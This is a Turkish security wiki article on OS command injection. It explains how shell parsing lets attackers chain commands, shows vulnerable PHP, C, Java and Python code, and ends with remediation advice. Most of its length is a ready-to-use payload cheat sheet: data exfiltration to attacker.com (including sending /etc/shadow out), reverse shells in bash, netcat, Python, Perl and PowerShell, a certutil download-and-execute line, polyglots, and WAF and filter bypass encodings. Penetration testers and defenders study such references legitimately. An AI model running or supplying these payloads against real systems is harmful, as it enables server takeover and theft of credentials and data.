OS Command Injection
> Yazar: Emre Ermenek
Modern web uygulamaları ve kurumsal sistemlerde, işletim sistemi seviyesindeki komutların tetiklenmesi sıklıkla başvurulan bir yöntemdir (örneğin ağ durumunu kontrol etmek, dosya manipülasyonu yapmak veya legacy sistemlerle haberleşmek için). OS Command Injection (İşletim Sistemi Komut Enjeksiyonu), saldırganın zafiyetli bir uygulama üzerinden hedef sunucunun işletim sisteminde (Host OS) yetkisiz ve keyfi komutlar çalıştırmasına olanak tanıyan kritik seviyeli (CWE-78) bir güvenlik açığıdır.
Red Team operasyonlarında bu zafiyet, web katmanından altyapı katmanına (Infrastructure) doğrudan bir köprü kurduğu için "Kutsal Kase" (Holy Grail) niteliği taşır. Kod yürütme (RCE) zafiyetlerinden farklı olarak saldırgan, uygulamanın yazıldığı dilde değil, doğrudan alt işletim sisteminin kabuğunda (Bash, sh, cmd.exe, PowerShell) komut çalıştırır. Bu durum; sunucunun tamamen ele geçirilmesi, iç ağa sızma (Pivoting), veri sızdırma (Exfiltration) ve kalıcılık (Persistence) sağlama süreçlerini saniyeler içine sığdırır.
How It Works (Teknik Analiz)
Zafiyetin kök nedeni, uygulamanın kullanıcıdan aldığı veriyi yeterince sanitize etmeden veya doğrulamadan (input validation) bir işletim sistemi kabuğuna (System Shell) argüman olarak iletmesidir.
Düşük seviyede (Low-Level) bu durum, POSIX kabuk spesifikasyonları (IEEE Std 1003.1) ve işletim sisteminin süreç oluşturma API'leri (execve, CreateProcess) ile ilgilidir. Geliştiriciler genellikle alt süreci doğrudan başlatmak yerine system(), popen(), shell_exec() gibi "Shell Wrapper" fonksiyonlarını kullanır.
Örneğin, C kütüphanesindeki system() fonksiyonu arka planda doğrudan hedef uygulamayı çalıştırmaz; bunun yerine bir /bin/sh -c (veya Windows'ta cmd.exe /c) süreci başlatır ve verilen string'i bu kabuğa paslar.
Bellek ve AST (Abstract Syntax Tree) Düzeyinde İşleyiş:
Kabuk (Shell), kendisine verilen string'i çalıştırılmadan önce sözcüksel analize (Lexical Analysis) ve ayrıştırma (Parsing) işlemine tabi tutar. Kabuk ayrıştırıcısı (Shell Parser), metni okurken boşlukları ve "Metacharacters" (Metakarakterler: ;, &, |, <, >, $, vb.) olarak bilinen özel karakterleri arar.
Eğer geliştirici ping -c 4 [USER_INPUT] şeklinde bir komut dizisi oluşturursa ve kullanıcı 8.8.8.8; id girerse, oluşan string ping -c 4 8.8.8.8; id olur.
Kabuk bu string'i Token'lara ayırırken ; karakterini gördüğünde bunu bir AST dalı (Control Operator) olarak kabul eder ve ağacı ikiye böler:
- Node 1:
ping(Argümanlar:-c,4,8.8.8.8) - Node 2:
id(Argüman yok)
Daha sonra ağaç sırayla yürütülür (Execution Phase) ve iki ayrı execve() syscall'u tetiklenir. İşte zafiyet tam olarak kabuğun bu "kontrol operatörlerini" kullanarak komutları zincirleme yeteneğinden kaynaklanır.
Vulnerable Code Patterns
Farklı dillerde zafiyete yol açan, genellikle tehlikeli API'lerin ve yanlış pratiklerin kullanıldığı kod örnekleri:
PHP (shell_exec Zafiyeti):
Burada kullanıcıdan gelen ip_address verisi doğrudan string birleştirmesi ile shell komutuna dahil edilmektedir.
<?php
// Kötü Pratik: Kullanıcı girdisi doğrudan shell_exec içine alınıyor
$ip_address = $_GET["ip_address"];
// Payload: 127.0.0.1; cat /etc/passwd
$output = shell_exec("ping -c 1 " . $ip_address);
echo "<pre>$output</pre>";
?>
C/C++ (system() Wrapper Zafiyeti):
C dilinde bellek yönetimi manuel yapıldığı için string birleştirme işlemleri ile system() çağrısı birleştiğinde zafiyet oluşur. Ayrıca, bu zafiyet SetUID root olarak çalışan bir binary'de (örneğin SUID bitli bir araç) bulunuyorsa, doğrudan root haklarında komut çalıştırılmasına neden olur.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv) {
char cmd[256] = "cat ";
// Kullanıcıdan alınan 1. argüman (argv[1]) komuta ekleniyor.
// Payload: "file.txt; rm -rf /"
strcat(cmd, argv[1]);
// system() çağrısı /bin/sh -c üzerinden çalışır
system(cmd);
return 0;
}
Java (Runtime.getRuntime().exec Zafiyeti):
Java'da C'nin aksine Runtime.exec() doğrudan kabuk çağırmaz. String'i boşluklara göre böler (Tokenizer) ve ilk kelimeyi program, diğerlerini argüman sayar. Ancak, eğer geliştirici özellikle bir kabuk (cmd.exe veya /bin/sh) çağırıp kullanıcı verisini de ona paslarsa, zafiyet tetiklenir.
// ZAFİYETLİ KULLANIM (Kabuk çağrıldığı için)
String userInput = request.getParameter("dir");
// Payload: "C:\\ && calc.exe"
String[] cmd = {"cmd.exe", "/c", "dir " + userInput};
Runtime.getRuntime().exec(cmd);
Python (os.system Zafiyeti):
Python'da os.system veya subprocess.Popen(..., shell=True) kullanımı komut enjeksiyonuna kapı aralar.
import os
import cgi
form = cgi.FieldStorage()
target = form.getvalue("target")
# Payload: "example.com | nc attacker.com 4444 -e /bin/bash"
os.system("nslookup " + target)
Detection & Enumeration (Keşif ve Analiz)
Bir OS Command Injection zafiyetinin tespiti için hedefin tepkileri dikkatlice analiz edilmelidir. Sızma testi uzmanları manuel testlerde veya Fuzzing süreçlerinde, uygulamanın arka planındaki işletim sistemini, kabuk tipini ve zafiyetin türünü belirlemek için sistematik ilerler.
- Error-Based Çıkarımlar: Enjekte edilen metakarakterlerin (
",',;,&) neden olduğu sistem hatalarını (örneğinsh: 1: command not foundveya Windows tabanlıThe system cannot find the path specified) HTTP yanıtlarında yakalamak. - Time-Based Çıkarımlar: Eğer uygulama çıktıyı ekrana yansıtmıyorsa (Blind),
ping,sleepveyatimeoutgibi komutlar enjekte edilerek sunucunun yanıt verme süresi (Response Delay) izlenir. 10 saniyelik bir gecikme komutun çalıştığının kesin kanıtıdır. - Out-of-Band (OAST) Analizi: Sunucu internete açık ise ancak zaman tabanlı testler Firewall/WAF yüzünden güvenilir sonuç vermiyorsa,
nslookup,curl,wgetveyapingkullanılarak saldırgan kontrolündeki bir DNS/HTTP sunucusuna istek attırılır.
Temel Keşif / OS Tespiti Payloadları:
# Eğer çıktıyı görebiliyorsak (In-Band)
; uname -a # Linux OS, Kernel versiyonu
; cat /etc/os-release # Linux Dağıtımı detayları
& ver # Windows OS versiyonu
& systeminfo # Windows Sistem detayları
Attack Vectors & Exploitation (İstismar Vektörleri)
In-Band (Direct) Command Injection
En basit istismar yöntemidir. Saldırganın çalıştırdığı komutun çıktısı (Stdout/Stderr) uygulamanın HTTP yanıtında (Response) doğrudan döner. Bu senaryoda amaç sistemi hızla analiz edip reverse shell almaktır.
Blind Time-Based Command Injection
Uygulama, çalıştırılan komutun çıktısını geri döndürmediğinde kullanılır. Komutun başarılı olup olmadığını anlamak ve hatta veri çekmek (char-by-char exfiltration) için zaman gecikmeleri kullanılır.
Blind Out-of-Band (OAST) Command Injection
Komut çıktıları HTTP yanıtında görünmez, ancak hedef sistem dış ağa istek atabilir durumdadır. Çıktılar DNS sorguları, HTTP GET istekleri veya SMB (Windows) paketleri aracılığıyla dışarı aktarılır. Bu tür ağ kısıtlamalarını (Egress Filtering) aşmak için en kritik vektördür.
Argument Injection
Saldırgan doğrudan bir kabuk komutunu (örneğin id veya whoami) çalıştıramayabilir, ancak mevcut bir komuta argüman sızdırabilir. Özellikle wget, curl, tar, find, ssh gibi komutların kendi içlerindeki tehlikeli argümanları tetiklenerek RCE (Remote Code Execution) elde edilir.
Örnek: Uygulama curl [USER_INPUT] çalıştırıyorsa, payload olarak -o webshell.php http://attacker.com/shell.txt verilerek dosya yazdırılabilir.
Polyglot Command Injection
Birden fazla kabuk ortamında (Linux bash, sh, Windows cmd, PowerShell) ve çeşitli syntax kısıtlamaları (çift tırnak içi, tek tırnak içi, backtick içi vb.) altında aynı anda çalışabilen, özenle hazırlanmış karmaşık payload yapılarıdır. Filtrelerin veya ortamın tam olarak bilinmediği "Blackbox" sızma testlerinde ilk atışta (One-Shot) sonuç almak için kullanılır.
Payloads & Advanced Commands
Linux Basic & Enumeration Commands
; whoami # Geçerli kullanıcıyı gösterir
; id # Kullanıcı UID, GID ve grup bilgilerini listeler
; cat /etc/passwd # Sistemdeki kullanıcıları listeler
; ps -ef # Çalışan tüm süreçleri (Process) listeler
; netstat -anlp # Açık portları ve ağ bağlantılarını gösterir (root ise PID ile)
; ifconfig -a # veya 'ip a'. Ağ arayüzlerini ve IP yapılandırmasını gösterir
; find / -perm -4000 2>/dev/null # SUID biti ayarlanmış yetki yükseltme araçlarını arar
Windows Basic & Enumeration Commands
& whoami /priv # Geçerli kullanıcının sahip olduğu hakları (Privileges) gösterir
& net user # Sistemdeki yerel kullanıcıları listeler
& tasklist /svc # Çalışan süreçleri ve bağlı oldukları servisleri listeler
& ipconfig /all # Tüm ağ detaylarını, DNS ve DHCP sunucularını listeler
& netstat -ano # Açık portları ve ağ oturumlarını (PID ile) listeler
& type C:\Windows\System32\drivers\etc\hosts # Hosts dosyasını okur
Time-Based Payloads (Zaman Tabanlı Vektörler)
# Linux
; ping -c 10 127.0.0.1
; sleep 10
; time if [ $(whoami|cut -c 1) == r ]; then sleep 5; fi # Veri sızdırma amaçlı gecikme
| perl -e "sleep 10"
# Windows
& ping -n 10 127.0.0.1
& timeout /T 10
& Start-Sleep -s 10 # PowerShell bağlamında
Out-of-Band & Data Exfiltration (Dışarı Veri Aktarımı)
# DNS Üzerinden Veri Sızdırma (Linux)
; nslookup $(whoami).attacker.com
; host $(id -u).attacker.com
; for i in $(ls /); do dig "$i.attacker.com"; done
# HTTP Üzerinden Veri Sızdırma (Linux)
; wget http://attacker.com/$(whoami)
; curl -d @/etc/passwd http://attacker.com/log
; cat /etc/shadow | base64 | curl -d @- http://attacker.com/exfil
# Windows OAST
& nslookup %USERNAME%.attacker.com
& certutil -urlcache -split -f http://attacker.com/?data=%USERNAME%
& powershell IEX(New-Object Net.WebClient).downloadString('http://attacker.com/log?d='+[Environment]::UserName)
Reverse Shells (Linux)
# Bash TCP Reverse Shell
; bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
# Netcat (Geleneksel)
; nc -e /bin/sh 10.0.0.1 4444
# Netcat (OpenBSD/Bypass - FIFO Pipe kullanarak)
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f
# Python 3 Reverse Shell
; python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# Perl Reverse Shell
; perl -e 'use Socket;$i="10.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Reverse Shells (Windows)
# PowerShell Obfuscated In-Memory Shell
& powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
# Certutil Executable Download & Execute
& certutil -urlcache -split -f http://10.0.0.1/nc.exe C:\Windows\Temp\nc.exe && C:\Windows\Temp\nc.exe -e cmd.exe 10.0.0.1 4444
Polyglot Payloads
Farklı quote (tırnak) bağlamlarından (', ", backtick veya çıplak) aynı anda kaçmayı ve payload'u çalıştırmayı hedefleyen evrensel stringler.
# Örnek 1: Çeşitli kabuk tırnak yapılarını aşan Polyglot (Linux)
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
# Örnek 2: Kompleks yorum satırı (Comment) ve pipe teknikleri barındıran Polyglot
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
Bypass & Obfuscation (Atlatma Teknikleri)
WAF (Web Application Firewall) sistemlerini, IDS/IPS sensörlerini ve geliştiricilerin koyduğu statik RegEx/Blacklist kurallarını aşmak için kullanılır.
Space Bypass Techniques (Boşluk Karakteri Atlatma)
Boşluk ( ) karakteri filtrelenmişse:
# $IFS (Internal Field Separator) kullanımı
cat${IFS}/etc/passwd
cat$IFS/etc/passwd
# Brace Expansion (Süslü parantez genişletmesi)
{cat,/etc/passwd}
{ping,-c,4,127.0.0.1}
# Input Redirection (Yönlendirme) kullanımı
cat</etc/passwd
sh</dev/tcp/10.0.0.1/4444
# Tab (Sekme) ve Hex kullanımı
;ls%09-al%09/tmp
Blacklisted Character & Command Bypass (Karakter/Komut Gizleme)
Sistem cat, whoami gibi kelimeleri veya spesifik karakterleri arıyorsa (Signature-Based Detection):
# Single/Double Quote Eklemesi (Kabuk tırnakları birleştirir)
w'h'o'am'i
w"h"o"a"m"i
# Backslash kullanımı
\w\h\o\a\m\i
/\b\i\n/////s\h
# Değişken Genişletmesi (Variable Expansion) & Substring
test=/ehhh/hmtc/pahhh/hmsswd; cat ${test//hhh\/hm/}
# Wildcards (Joker Karakterler) - Komut adını doğrudan yazmadan çalıştırma
/???/??t /???/p??s?? # (Genellikle /bin/cat /etc/passwd olarak yorumlanır)
/b*n/c?t /e*c/p*s?w*
# Rastgele Büyük/Küçük Harf (Yalnızca Windows)
wHoAmI
DiR C:\
Encoding & Obfuscation (Şifreleme ve Şaşırtma)
Komutların WAF üzerinde açık metin (Cleartext) olarak görünmemesi için kodlama yöntemleri:
# Base64 Decode & Execute
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash
# Hex Encoding
bash<<<$(xxd -r -p<<<77686f616d69) # whoami
# Octal veya Hex ANSI-C Quoting
X=$'\x77\x68\x6f\x61\x6d\x69';$X # whoami
# $() ve ` ` komut içi komut yürütme (Substitution)
who$()ami
who`echo am`i
Line Return & Backslash Execution
RegEx filtrelerini satır sonları veya devamlılık karakterleri ile şaşırtma:
# URL Encoded Newline (Satır Sonu Enjeksiyonu)
%0acommands%0a
ping 127.0.0.1%0awhoami
# Backslash Newline (Satır Devamlılığı - Terminal bunu tek satır sayar)
cat /et\
c/pa\
sswd
Remediation & Prevention (Önleme ve Savunma)
OS Command Injection zafiyetini kökünden (By Design) çözmek ve mimariyi güvenli hale getirmek için izlenmesi gereken stratejiler:
- İşletim Sistemi Çağrılarından Kaçının (Avoid OS Commands): En etkili yöntem budur. Uygulama katmanında yapılacak bir işlem için ASLA işletim sistemi kabuğuna inilmemelidir. E-posta göndermek için
mailkomutu yerine dilin kendi kütüphanesi (örn: Java'dajavax.mail.*, PHP'demail()), ağ işlemleri için Socket API'leri kullanılmalıdır. - Kabuk Sızıntısını Önleyin (Parameterization & Direct Execution): Eğer harici bir süreç başlatılması kesinlikle gerekliyse, kabuk üzerinden (
/bin/sh -c) çağıransystem(),popen()gibi tehlikeli API'ler yerine, süreci doğrudan başlatan ve argümanları AST oluşturmadan dizi (Array) olarak kabul eden API'ler kullanılmalıdır.- Python:
subprocess.Popen(["ping", "-c", "4", target_ip], shell=False) - Java:
ProcessBuilder("ping", "-c", "4", targetIp).start() - C/C++:
system()yerineexecve()veyaexecvp()kullanımı.
- Python:
- Güçlü Girdi Doğrulama (Strict Input Validation / Allowlisting): Kullanıcı verisi zorunlu olarak kullanılıyorsa, Blacklist (Karakter yasaklama) YERİNE Whitelist (Sadece izin verilen karakterler) kullanılmalıdır.
- Girdi bir IP adresi ise, formülünün Regex ile veya dilin yerleşik fonksiyonlarıyla (örn. PHP
filter_var($ip, FILTER_VALIDATE_IP)) sıkı bir IP formatı olup olmadığı denetlenmelidir. - Sadece Alfanumerik (A-Z, 0-9) izinler uygulanmalıdır.
- Girdi bir IP adresi ise, formülünün Regex ile veya dilin yerleşik fonksiyonlarıyla (örn. PHP
- Metakarakterlerin Kaçırılması (Escaping - Sadece Son Çare): Üstteki adımlar uygulanamıyorsa dile özgü kaçış mekanizmaları (PHP'de
escapeshellarg()veescapeshellcmd()) kullanılmalıdır. Ancak Windows API'lerinde CRLF gibi özel karakter atlatmalarıyla (Örn: CVE-2023-29084) delinebileceği unutulmamalıdır. - En Düşük Yetki Prensibi (Principle of Least Privilege): Web uygulaması veya onu barındıran servis (Apache, Nginx, IIS) işletim sisteminde
rootveyaNT AUTHORITY\SYSTEMhaklarıyla ÇALIŞTIRILMAMALIDIR. Özel ve kısıtlı haklara sahip, kabuk erişimi (Shell/usr/sbin/nologin) kapatılmış servis hesapları kullanılmalıdır.
Common Tools & Frameworks
| Araç | Fonksiyon | Komut Örneği |
|---|---|---|
| Commix | Otomatik OS Command Injection tespit ve istismar aracı (Blind, OAST, In-Band tüm modlar). | commix -u "http://target.com/page?id=" --level=3 |
| Burp Suite | HTTP proxy, modifikasyon, manuel testler ve tarama altyapısı (Collaborator ile OAST tespiti). | Target -> Scanner -> Audit options |
| Interactsh | Out-of-band (OAST) etkileşimleri yakalamak için DNS/HTTP istemci-sunucu aracı. | interactsh-client |
| Nuclei | YAML tabanlı şablonlarla geniş çaplı, hızlı zafiyet (Command Injection dahil) taraması. | nuclei -u http://target.com -t cmd-injection/ |
| NetCat | Hedefte tersine bağlantı (Reverse Shell) veya Bind Shell kurmak, port dinlemek. | nc -lvnp 4444 |
| xxd / base64 | Payload'ları WAF atlatmak (Bypass) amacıyla terminal formatında kodlama araçları. | echo whoami | base64 |
Yazar: Emre Ermenek · AltaySec Wiki — Türkçe güvenlik playbook'u.
← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv